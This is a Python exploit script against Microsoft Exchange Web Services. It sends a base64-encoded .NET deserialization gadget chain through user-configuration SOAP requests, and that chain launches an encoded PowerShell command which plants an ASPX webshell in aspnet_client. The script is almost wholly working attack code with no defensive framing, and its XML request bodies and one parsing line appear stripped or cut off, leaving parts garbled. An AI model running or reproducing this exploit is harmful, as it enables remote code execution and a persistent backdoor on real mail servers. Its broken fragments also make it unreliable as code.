#!/usr/bin/python import socket, time import httplib, requests import urllib import os, ssl from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) import base64 ''' <%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%> ''' target = "https://10.0.0.52" # write a webshell to aspnet_client gadgetData = 'AAEAAAD/////AQAAAAAAAAAMAgAAAAhtc2NvcmxpYgwDAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAY1N5c3RlbS5EYXRhLkRhdGFTZXQsIFN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoAAAAWRGF0YVNldC5SZW1vdGluZ0Zvcm1hdBNEYXRhU2V0LkRhdGFTZXROYW1lEURhdGFTZXQuTmFtZXNwYWNlDkRhdGFTZXQuUHJlZml4FURhdGFTZXQuQ2FzZVNlbnNpdGl2ZRJEYXRhU2V0LkxvY2FsZUxDSUQaRGF0YVNldC5FbmZvcmNlQ29uc3RyYWludHMaRGF0YVNldC5FeHRlbmRlZFByb3BlcnRpZXMURGF0YVNldC5UYWJsZXMuQ291bnQQRGF0YVNldC5UYWJsZXNfMAQBAQEAAAACAAcfU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAMAAAABCAEIAgIAAAAF/P///x9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AQAAAAd2YWx1ZV9fAAgDAAAAAQAAAAYFAAAAAAkFAAAACQUAAAAACQQAAAAKAQAAAAkGAAAADwYAAAD2BQAAAgABAAAA/////wEAAAAAAAAADAIAAABeTWljcm9zb2Z0LlBvd2VyU2hlbGwuRWRpdG9yLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAQk1pY3Jvc29mdC5WaXN1YWxTdHVkaW8uVGV4dC5Gb3JtYXR0aW5nLlRleHRGb3JtYXR0aW5nUnVuUHJvcGVydGllcwEAAAAPRm9yZWdyb3VuZEJydXNoAQIAAAAGAwAAAJgKPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTE2Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIgLUVuY29kZWRDb21tYW5kIFV3QmxBSFFBTFFCREFHOEFiZ0IwQUdVQWJnQjBBQ0FBTFFCUUFHRUFkQUJvQUNBQUp3QkRBRG9BWEFCcEFHNEFaUUIwQUhBQWRRQmlBRndBZHdCM0FIY0FjZ0J2QUc4QWRBQmNBR0VBY3dCd0FHNEFaUUIwQUY4QVl3QnNBR2tBWlFCdUFIUUFYQUF4QUM0QVlRQnpBSEFBZUFBbkFDQUFMUUJXQUdFQWJBQjFBR1VBSUFBbkFEd0FKUUJBQUNBQVVBQmhBR2NBWlFBZ0FFd0FZUUJ1QUdjQWRRQmhBR2NBWlFBOUFDSUFTZ0JUQUdNQWNnQnBBSEFBZEFBaUFDQUFSQUJsQUdJQWRRQm5BRDBBSWdCMEFISUFkUUJsQUNJQUpRQStBRHdBSlFCQUFFa0FiUUJ3QUc4QWNnQjBBQ0FBVGdCaEFHMEFaUUJ6QUhBQVlRQmpBR1VBUFFBaUFGTUFlUUJ6QUhRQVpRQnRBQzRBU1FCUEFDSUFKUUErQUR3QUpRQkdBR2tBYkFCbEFDNEFWd0J5QUdrQWRBQmxBRUVBYkFCc0FFSUFlUUIwQUdVQWN3QW9BRklBWlFCeEFIVUFaUUJ6QUhRQVd3QWlBR0lBSWdCZEFDd0FJQUJEQUc4QWJnQjJBR1VBY2dCMEFDNEFSZ0J5QUc4QWJRQkNBR0VBY3dCbEFEWUFOQUJUQUhRQWNnQnBBRzRBWndBb0FGSUFaUUJ4QUhVQVpRQnpBSFFBV3dBaUFHRUFJZ0JkQUNrQUtRQTdBQ1VBUGdBbkFBPT0iIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0icG93ZXJzaGVsbC5leGUiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LCw==' def sendPayload(gadgetChain): get_inbox = ''' AllProperties ''' try: headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"} print("[+] show AllProperties") res = requests.post(target + "/ews/exchange.asmx", data=get_inbox, headers=headers, verify=False,proxies={"https":"127.0.0.1:8080"}) folderId = res.content.split(' ''' % (folderId, changeKey) try: print("[+] DeleteUserConfiguration") res = requests.post(target + "/ews/exchange.asmx", data=delete_old, headers=headers, verify=False, proxies={"https":"127.0.0.1:8080"}) except Exception as e: print(str(e)) print("[-] DeleteUserConfiguration failed.") create_usr_cfg = ''' String OrgChkTm Integer64 637728170914745525 String OrgDO Boolean False String OrgExtV Integer32 2147483647 %s ''' % (folderId, changeKey, gadgetChain) try: print("[+] CreateUserConfiguration") res = requests.post(target + "/ews/exchange.asmx", data=create_usr_cfg, headers=headers, verify=False, proxies={"https":"127.0.0.1:8080"}) except Exception as e: print(str(e)) print("[-] CreateUserConfiguration failed.") get_client_ext = ''' aaaa CallerIdentity ''' try: print("[+] Execute BinaryData") res = requests.post(target + "/ews/exchange.asmx", data=get_client_ext, headers=headers, verify=False, proxies={"https":"127.0.0.1:8080"},timeout=15) time.sleep(10) print("[*] webshell: " + target+"/aspnet_client/1.aspx") except Exception as e: print(str(e)) print("[-] Execute BinaryData failed. Checking the Av or WAF.") sendPayload(gadgetData)